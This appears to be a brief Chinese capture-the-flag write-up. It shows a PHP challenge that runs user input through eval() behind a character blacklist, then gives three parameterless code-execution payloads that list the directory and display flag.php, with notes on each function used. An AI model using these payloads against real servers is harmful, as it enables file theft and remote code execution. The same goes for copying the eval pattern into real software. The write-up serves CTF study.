源码

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤的有点多了,使用无参RCE

先看看我们的这个文件夹里有没有flag.php

?c=print_r(scandir(dirname(__FILE__)));

然后我们需要定位他

?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));

然后高亮显示

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

下面解释一下上面用到的php

__FILE__:当前文件

dirname(__FILE__):拿到当前文件的路径

scandir():列出该文件夹下所有文件/文件夹,形成正序数组

next():第二个元素,跳过第一个

array_reverse():把数组倒叙,让新增文件排到前面

print_r():直接显示flag文件名,无需查看完整数组

更多推荐